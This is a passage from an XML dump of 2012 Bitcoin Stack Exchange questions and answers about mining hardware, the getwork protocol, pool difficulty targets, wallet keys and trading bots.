CPU mining worked just fine.  But as more people joined the network and hash rates became faster, the network difficulty increased to keep the blocks coming along every 10 minutes or so.  As a result, CPU mining became less rewarding per CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when it became more common for miners to use GPU hardware to mine because it is so much faster and more energy efficient than CPU mining, the global network hash rate increased still further eventually making it completely useless to mine with a CPU; the expected rewards are less than the power consumed by the CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe one day &lt;a href=&quot;http://en.wikipedia.org/wiki/Field-programmable_gate_array&quot;&gt;FPGAs&lt;/a&gt; or &lt;a href=&quot;http://en.wikipedia.org/wiki/Application-specific_integrated_circuit&quot;&gt;ASICs&lt;/a&gt; will render GPUs useless for mining, like GPUs already did to CPUs.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-03-16T07:22:32.413" LastActivityDate="2012-03-16T07:22:32.413" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3184" PostTypeId="2" ParentId="3179" CreationDate="2012-03-15T18:27:59.983" Score="2" Body="&lt;p&gt;At the start the creator promised utility of Bitcoins (easy payments without banks).&lt;br&gt;Since others believed that, their belief instilled a market value in the first Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="1175" LastActivityDate="2012-03-15T18:27:59.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3186" PostTypeId="2" ParentId="336" CreationDate="2012-03-15T19:41:39.397" Score="0" Body="&lt;p&gt;Cash on the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be spent anonymously, and stolen if you're not careful.&lt;/p&gt;&#xA;" OwnerUserId="1177" LastActivityDate="2012-03-15T19:41:39.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3187" PostTypeId="2" ParentId="3171" CreationDate="2012-03-15T20:26:48.747" Score="2" Body="&lt;p&gt;The network hash-rate is mostly reflective of Bitcoin's exchange rate.  If the exchange rate goes up, then mining's hash rate will follow.  It will lag, but it will mostly follow the direction and to a lesser degree, the magnitude of the change in the exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there are some who will mine regardless of profitability, each additional bit of hashing has the effect of lessening profitability -- displacing those who are mining for economic gain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as a whole, the network hash rate itself doesn't say much about the currency's health.  Now for each individual that goes and spends $20K worth on mining hardware, you can assume that one individual believes in bitcoin's future enough to risk that kind of an investment, if profit was the reason for pursing such a venture.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-03-15T20:26:48.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3188" PostTypeId="2" ParentId="3136" CreationDate="2012-03-16T02:01:29.993" Score="2" Body="&lt;p&gt;&lt;code&gt;lspci&lt;/code&gt; lists PCI devices. &lt;code&gt;./poclbm.py&lt;/code&gt; lists OpenCL devices. If the former finds the device but the latter does not, your second GPU must not be registering as an OpenCL device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ubuntu 11.10 has a notorious reputation for multiple-GPU bugs. (See &lt;a href=&quot;https://bitcointalk.org/index.php?topic=53199.msg667050#msg667050&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=50388.msg601325#msg601325&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.) I personally have had issues with 11.10 mining that were resolved simply by switching to another release. I would suggest you instead use Ubuntu 11.04 (Natty Narwhal); it is generally regarded to be the most reliable Ubuntu version for mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is not an option, or installing 11.04 doesn't fix the problem, try the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Uninstall whatever version of Catalyst/SDK you have (make sure to remove all configuration files) and install&#xA;Catalyst 11.6 and SDK 2.4.  &lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;aticonfig -f --initial --adapter=all&lt;/code&gt; again. Make sure it runs without errors.&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;aticonfig --list-adapters&lt;/code&gt;. You should see two. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Those steps should fix any configuration issues. If your problem persists, it's either a hardware issue (or an Ubuntu 11.10 issue).&lt;/p&gt;&#xA;" OwnerUserId="1171" LastActivityDate="2012-03-16T02:01:29.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3189" PostTypeId="2" ParentId="3171" CreationDate="2012-03-16T02:41:35.623" Score="4" Body="&lt;p&gt;You can find graphs charting this relationship at &lt;a href=&quot;http://bitcoinx.com/charts/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinx.com/charts/&lt;/a&gt;. (scroll down)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Network hash rate and exchange rate are certainly correlated, but the relationship is very complex, I think it would be inaccurate to say that one depends on the other. In general, if price increases due to an outside factor (eg. new adopters buying Bitcoins) hash rate will go up, as you can see in the chart at the above link around July 2011, when price spiked and hash rate followed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Impact of hash rate changes due to outside factors on price is harder to predict. Hash rate increases &lt;em&gt;can&lt;/em&gt; lead to increased investor confidence in the currency (which would increase price), but they can &lt;em&gt;also&lt;/em&gt; drive miners on the edge of profitability out of mining and potentially even Bitcoin, decreasing the price. (less participants in a market generally leads to price decreases, though not always)&lt;/p&gt;&#xA;" OwnerUserId="1171" LastActivityDate="2012-03-16T02:41:35.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3190" PostTypeId="2" ParentId="3168" CreationDate="2012-03-16T08:34:37.727" Score="1" Body="&lt;p&gt;Take a look at the DiabloMiner source code (Java): &lt;a href=&quot;https://github.com/Diablo-D3/DiabloMiner&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Diablo-D3/DiabloMiner&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a GPU miner, but it has the JSON-RPC getwork stuff you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you get basic getwork going you may want to look at implementing extensions: &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getwork&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-03-16T08:34:37.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3191" PostTypeId="1" AcceptedAnswerId="3192" CreationDate="2012-03-16T12:56:25.403" Score="5" ViewCount="335" Body="&lt;p&gt;I've heard that [Ogrr] (http://ogrr.com/) has provided Bitcoin as its internal unit of trading. Could someone who knows the forum well provide us with information about:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How large is the transaction volume every day?&lt;/li&gt;&#xA;&lt;li&gt;How do members deposit/withdraw BTC to their accounts in the forum?&lt;/li&gt;&#xA;&lt;li&gt;How much is the fee?&lt;/li&gt;&#xA;&lt;li&gt;Do you think this forum will help raising the price of Bitcoin?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've always been interested in implementing a virtual currency in a forum. I am curious about what forum software does Ogrr use so that they can quickly convert mBTC to USD.&lt;/p&gt;&#xA;" OwnerUserId="965" LastEditorUserId="575" LastEditDate="2012-03-16T13:57:31.090" LastActivityDate="2012-03-16T17:57:38.013" Title="Ogrr market size" Tags="|exchanges|trading|ecommerce|forum|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3192" PostTypeId="2" ParentId="3191" CreationDate="2012-03-16T17:57:38.013" Score="2" Body="&lt;p&gt;Well, I don't know what the transaction volume is - only the site owner would be able to give you that information. As far as your other questions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do members deposit/withdraw BTC to their accounts in the forum?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Same as you generally deposit/withdraw btc from any site. You go to your account, click the 'deposit' or 'withdraw' button, and it either gives you the address to send btc to to fill up your account, or it tells you to input the address to which you would like to withdraw. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How much is the fee?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I understand there's currently no fee being charged by the site.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do you think this forum will help raising the price of Bitcoin?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any venture that results in more people using bitcoin will, ceteris paribus, raise the price of bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that was helpful. :)&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2012-03-16T17:57:38.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3193" PostTypeId="2" ParentId="3174" CreationDate="2012-03-16T22:32:06.957" Score="2" Body="&lt;p&gt;The logic behind mining Bitcoins is similar to the one behind all the security features used in all currencies - to prevent people from counterfeiting them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Traditional money uses special fabric, paint, serial numbers and highly detailed design patterns to prevent people from making their own copies and thus flooding the market. If you'd get rid of all that, anyone could write down &quot;10$&quot; on a piece of paper and use it as currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Bitcoin, the problem is a bit harder - as there is no central authority, mining was chosen to be the way for money to be created and transferred. The cryptographic problem that is being solved with each new block is a proof that someone went through the effort of mining that particular block. The process of legitimately creating Bitcoin takes both time and computing power and counterfeiting Bitcoin takes roughly the same amount of work, encouraging people to be fair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without mining we would either need a central authority to manage the amount of created Bitcoins and how they are transferred (which defeats the purpose of a decentralised cryptocurrency), or we would be stuck with worthless bits that anyone could make in any amount.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-16T22:32:06.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3194" PostTypeId="1" AcceptedAnswerId="3196" CreationDate="2012-03-16T22:40:30.440" Score="1" ViewCount="739" Body="&lt;p&gt;I don't understand the bitcoin-qt program (mac). Why doesn't it show the private keys for the addresses I've created? Also, why doesn't it let me delete the new addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I want to send money from account X on my mac from my windows computer. How would one do that?&lt;/p&gt;&#xA;" OwnerUserId="1179" LastActivityDate="2012-03-17T04:40:52.280" Title="mac bitcoin wallet question. Private keys?" Tags="|wallet|mac|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3196" PostTypeId="2" ParentId="3194" CreationDate="2012-03-16T23:07:55.180" Score="3" Body="&lt;p&gt;Your wallet program doesn't show the private keys because you usually don't need to see them.  In the same way that you almost never see your password to any website you use.  If it did show them then someone could take a photograph of them and later spend the content of your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It probably doesn't let you delete addresses because of the potential for harm.  If you ever gave that address to somebody and they some day transfer coins to the address, you'll wish you hadn't deleted it.  If you send someone an address and they use it to pay you, and then you think &quot;that transaction's completed, I'll delete the address now&quot;, you'll lose the coins that were sent to you because they're still sitting in that address.  There's too much risk of people not understanding the system and losing coins as a result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To send money from one computer to another:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first go to the computer that's going to receive the money, run the wallet program, go to the 'receive coins' tab, pick any of the addresses that are shown, optionally edit the 'label' field to make a note of who you're going to give it to.  In this case &quot;My Mac&quot; might be a good label.  Then copy the address to the clipboard and email it to yourself at the Mac.  Or write it down if you like.&lt;/li&gt;&#xA;&lt;li&gt;then go to the Mac, run the wallet program, go to the 'send coins' tab, put the address from the previous step in the 'pay to' field, and the amount in the 'amount' field.  Optionally put a label in the 'label' field.  &quot;My PC&quot; might be a good label for this.  Click &quot;Send&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I just noticed you want to send from a specific account on the Mac.  Do you mean you want to send from a specific address?  That's not yet supported in the standard client.  A &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/415&quot; rel=&quot;nofollow&quot;&gt;patch has been submitted&lt;/a&gt; that adds this feature.  There's a &lt;a href=&quot;http://coderrr.wordpress.com/2011/06/30/patching-the-bitcoin-client-to-make-it-more-anonymous/&quot; rel=&quot;nofollow&quot;&gt;description and video&lt;/a&gt; going into more detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: it occurs to me that you really to mean &quot;&lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;account&lt;/a&gt;&quot; in your question.  Don't confuse accounts with addresses.  You don't need to send from a specific address to send from a particular account.  There's no support for accounts in the bitcoin-qt client though I don't think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upcoming 0.6.0 version of the Satoshi client adds a command to export an address' private key, so if you want to print it out and keep it somewhere safe you could use that.  But typically people just make sure they have a copy of their whole wallet.dat file instead.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-03-17T04:40:52.280" LastActivityDate="2012-03-17T04:40:52.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3198" PostTypeId="2" ParentId="2472" CreationDate="2012-03-17T02:46:50.533" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;h1&gt;&lt;a href=&quot;http://code.google.com/p/ga-bitbot/source/browse&quot; rel=&quot;nofollow&quot;&gt;ga bitbot&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;from the project page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ga-bitbot is a distributed genetic algorithm tuned automated mtgox trading system for Bitcoin which includes market data collection, gene client/server, reporting tools, and automated trading.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The intention of this project is to create a high frequency capable trade platform for the bitcoin p2p currency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h1&gt;&lt;a href=&quot;https://github.com/maxme/bitcoin-arbitrage&quot; rel=&quot;nofollow&quot;&gt;bitcoin arbitrage&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;From the project page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoin-arbitrage - opportunity detector and automated trading&#xA;  It gets order books from supported exchanges and calculate arbitrage opportunities between each markets. It takes market depth into account.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Currently supported exchanges to get data:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;MtGox (USD, EUR)&#xA;  Bitstamp (USD, ~EUR)&#xA;  Bitcoin24 (EUR)&#xA;  Bitfloor (USD)&#xA;  Bitcoin-Central (EUR)&#xA;  BTC-e (USD, EUR)&#xA;  Intersango (EUR)&#xA;  Bitfinex (USD)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Currently supported exchanges to automate trade:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;MtGox (EUR, USD)&#xA;  Bitstamp (USD)&#xA;  Bitcoin-Central (EUR) - closed&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(under MIT licence)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;*TODO:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Tests&#xA;  Write documentation&#xA;  Add other exchanges:&#xA;  icbit&#xA;  BitFinex&#xA;  Update order books with a WebSocket client for supported exchanges (MtGox, Bitcoin-Central)&#xA;  Better history handling for observer &quot;HistoryDumper&quot; (Redis ?)&#xA;  Move EUR / USD from a market to an other:&#xA;  Coupons&#xA;  Ripple ?&#xA;  Negative Operations&#xA;  use Litecoin or other cryptocurrencies trades&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="6218" LastEditDate="2014-10-07T06:29:47.987" LastActivityDate="2014-10-07T06:29:47.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3199" PostTypeId="1" CreationDate="2012-03-17T05:35:43.460" Score="5" ViewCount="1085" Body="&lt;p&gt;This question is related to to the ( already nearing 2 GB and always increasing size ) blockchain download needed to use the bitcoin network, and is referencing this previous question :&lt;br&gt;&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2584/is-reclaiming-disk-space-already-implemented-how-effective-will-it-be&quot;&gt;Is &amp;quot;Reclaiming Disk Space&amp;quot; already implemented? How effective will it be?&lt;/a&gt;&lt;br&gt;&#xA; Please read it before answering  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently if I have bitcoind running on 20 machines, or 20 bitcoind running on the same machine, each of them need to download and store 2 GB blockchain, total 40 GB diskspace used and much bandwidth to dowload it 20 time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the easiest way to make it better would be to have a &quot;read-only&quot; blockchain, one of the bitcoind writes it and the others only use it read only to check transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be used to be my own trusted blockchain provider, for all my machines and bitcoind running, on the same machine or remotely using sshfs or other mounting options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the questions :&lt;br&gt;&#xA;1- How to implement this in bitcoind ? easiest way to do this ?&lt;br&gt;&#xA;2- can this be a problem for the bitcoin network itself in any way ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rules : I dont want answers like &quot;try poolserverj&quot; or &quot;you dont need that&quot; please ;)&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-08-20T12:49:47.623" Title="Read only blockchain in bitcoind , patch ideas" Tags="|client|blockchain|network|storage-footprint|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3200" PostTypeId="2" ParentId="2472" CreationDate="2012-03-17T08:57:10.217" Score="2" Body="&lt;p&gt;You can try this one also &lt;a href=&quot;https://github.com/rokj/bitcoin_dealer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rokj/bitcoin_dealer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the README file on the repo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Bitcoin dealer is simple Django program (trading bot) for trading bitcoins currently only on MtGox exchange.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Bitcoin dealer supports MtGox API version 1 with following currencies: USD, EUR, GBP, PLN, CAD, AUD, CHF, CNY, NZD, RUB, DKK, HKD, SGD, THB, JPY and SEK.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Although program is really simple, it supports stop orders and maybe something more, but I am not really familiar with trading techniques and jargon.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Program is most useful for those who do not have time to watch price of bitcoin all the time, have a PC running all the time and know how to write few &quot;Hello worlds&quot; with two if cases.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the link is not dead at time of editing (21/07/2013).&lt;/p&gt;&#xA;" OwnerUserId="1181" LastEditorUserId="3210" LastEditDate="2013-07-21T11:50:36.687" LastActivityDate="2013-07-21T11:50:36.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3201" PostTypeId="2" ParentId="3174" CreationDate="2012-03-17T18:29:25.630" Score="1" Body="&lt;p&gt;Bitcoin cleverly combines two functions via mining:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ensuring an &quot;equitable&quot; distribution of currency during the (current) generation phase of the Bitcoin economy.&lt;/li&gt;&#xA;&lt;li&gt;Providing a secure distributed time-stamping function to provide a trusted ordering of all Bitcoin transactions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The creator of Bitcoins realized that there would have to be some way to get Bitcoins into circulation.  Since it is decentralized, he did not want to issue coins from a central authority.  So, he enticed others to &quot;mine&quot; for Bitcoins by exchanging computation power for Bitcoins.  The mining process is quite similar to a lottery, where you buy &quot;tickets&quot; by computing hashes; the more hashes you compute, the more likely you are to win 50 Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This scheme has the economic benefit that value is not created out of thin air - Bitcoin miners have to trade one valuable resource (their computing time and energy), in exchange for another (Bitcoins).  This helps establish a correlation between a &quot;real world&quot; value, and the value of a Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just so happens that mining also is used to establish a well defined ordering of Bitcoin transactions; so we kill two birds with one stone, and provide incentives for people to contribute resources to keep the Bitcoin network operating.&lt;/p&gt;&#xA;" OwnerUserId="1083" LastActivityDate="2012-03-17T18:29:25.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3202" PostTypeId="2" ParentId="3199" CreationDate="2012-03-17T18:47:41.970" Score="0" Body="&lt;p&gt;The problem comes down to trusting a third party.  The current client only trusts the designation of the genesis block - you can independently verify all the other blocks derive from that, and have been secured by the highest difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, you could merely store the sequence of hashes of the blocks (32 bytes per block).  But when you receive a Bitcoin transaction, you need to have proof that there is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Sufficient funds coming from the Bitcoin source (&quot;input transaction&quot;).&lt;/li&gt;&#xA;&lt;li&gt;That those funds haven't been spent previously.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The proof that a Bitcoin address has funds is pretty short - you just need to know the block that contains the transaction, and the proof that the transaction hash is part of the &quot;merkle root&quot; of the block (I think this generally requires just a few hundreds of bytes of data, and you don't have to trust the source of the provider - since you verify it yourself against your stored block chain hashes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the 2nd part, knowing that the input hasn't already been spent is much harder - you have to &quot;prove a negative&quot;.  The only way to know that an input hasn't already been used is to look at ALL transactions since the input was created, and verify that none of them spend the input already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you would have to rely on a trusted source, then, that does retain the entire block chain.  You could rely on a signed &quot;statement&quot; from a trusted service (or perhaps multiple independent trusted services), that a particular input has not been spent up through a given block.&lt;/p&gt;&#xA;" OwnerUserId="1083" LastActivityDate="2012-03-17T18:47:41.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3203" PostTypeId="2" ParentId="3168" CreationDate="2012-03-17T19:04:47.927" Score="3" Body="&lt;p&gt;The JSON-RPC protocol is very simple.  You POST to the mining pool (or the bitcoind client):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;method&quot;: &quot;getwork&quot;, &quot;params&quot;: [], &quot;id&quot;: &quot;anything&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and get back:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;result&quot;: {&quot;data&quot;: &quot;hex bytes....&quot;, &quot;target&quot;: &quot;hex bytes...&quot;, ...}, ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You just need the first 80 bytes from &lt;code&gt;result.data&lt;/code&gt; - you change the last 4 bytes (nonce) and compute the hashes.  Then, when you find a hash that is less than &quot;target&quot; (generally a hash with the high order 32 bits equal to zero), you call getwork again to report your hash (and earn a share in the pool):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;method&quot;: &quot;getwork&quot;, &quot;params&quot;: [&quot;hex-header&quot;], &quot;id&quot;: &quot;anything&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There a bunch on wonky byte-order encoding in the standard getwork call.  You'll generally want to reverse the bytes is each long integer (4 bytes) before hashing it, and do the same before reporting your found block back to the pool.  See the sample &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/contrib/pyminer/pyminer.py&quot; rel=&quot;nofollow&quot;&gt;pyminer&lt;/a&gt; for a simple reference implementation of a miner (in python). Inside the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/contrib/pyminer/pyminer.py#L93&quot; rel=&quot;nofollow&quot;&gt;Miner.work&lt;/a&gt;&lt;code&gt;()&lt;/code&gt; function is where the magic happens. The work function takes two parameters: &lt;code&gt;datastr&lt;/code&gt;, this is the value stored inside &lt;code&gt;result.data&lt;/code&gt; and &lt;code&gt;targetstr&lt;/code&gt; this is the value stored inside &lt;code&gt;result.target&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other thing - most pools require that you use Basic Authentication when you POST, so you'll need to include your username and password in the header of your request.&lt;/p&gt;&#xA;" OwnerUserId="1083" LastEditorUserId="13172" LastEditDate="2014-02-06T20:50:17.967" LastActivityDate="2014-02-06T20:50:17.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3204" PostTypeId="2" ParentId="2925" CreationDate="2012-03-17T19:28:00.583" Score="2" Body="&lt;p&gt;Most pools define their target value (minimum value required to earn a &quot;share&quot;), as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;T = 2 ** (256 - 32) - 1&#xA;= 0x00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin protocol defines a difficulty of 1 as a target of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D = 0xffff * 2**208&#xA;= 0x00000000ffff0000000000000000000000000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They are nearly equal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;T/D = 1.0000152590218967&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The precise target used for earning shares could be set to a larger number, but that would increase the number of getwork requests sent to the server as shares would be easier to find.  Note that if you decrease the size of target, you would reduce the probability of finding ANY valid shares for a given block header (unless you allow changing the timestamp as well as the nonce).  As it stands, the expected number of shares found per getwork request is approximately 1 (when the target has 32 leading zero bits).&lt;/p&gt;&#xA;" OwnerUserId="1083" LastActivityDate="2012-03-17T19:28:00.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3205" PostTypeId="2" ParentId="22" CreationDate="2012-03-17T19:46:44.910" Score="67" Body="&lt;p&gt;In order to spend money sent to a Bitcoin address, you just need to find a ECDSA public key that hashes to the same 160-bit value. That will take, on average, 2&lt;sup&gt;160&lt;/sup&gt; key generations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supposing you could generate a billion (2&lt;sup&gt;30&lt;/sup&gt;) per second, you need 2&lt;sup&gt;130&lt;/sup&gt; seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this in parallel using a billion machines requires only 2&lt;sup&gt;100&lt;/sup&gt; seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting a billion of your richest friends to join you gets it down to only 2&lt;sup&gt;70&lt;/sup&gt; seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are about 2&lt;sup&gt;25&lt;/sup&gt; seconds per year, so you need 2&lt;sup&gt;45&lt;/sup&gt; years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The age of the Universe is about 2&lt;sup&gt;34&lt;/sup&gt; years so far — better get cracking!&lt;/p&gt;&#xA;" OwnerUserId="1083" LastEditorUserId="963" LastEditDate="2015-03-26T21:18:14.757" LastActivityDate="2015-03-26T21:18:14.757" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3206" PostTypeId="2" ParentId="3179" CreationDate="2012-03-17T19:57:15.210" Score="11" Body="&lt;p&gt;Satoshi created a system that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Allowed users to trust transactions without having to trust any single entity.&lt;/li&gt;&#xA;&lt;li&gt;Opened it up so that anyone could participate and exchange computation power for Bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;Is designing with a fixed size (21 million Bitcoins), he created an incentive for users to get involved early while Bitcoins are relatively cheap to generate; there is less risk of future inflation reducing the value of early adopters.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1083" LastActivityDate="2012-03-17T19:57:15.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
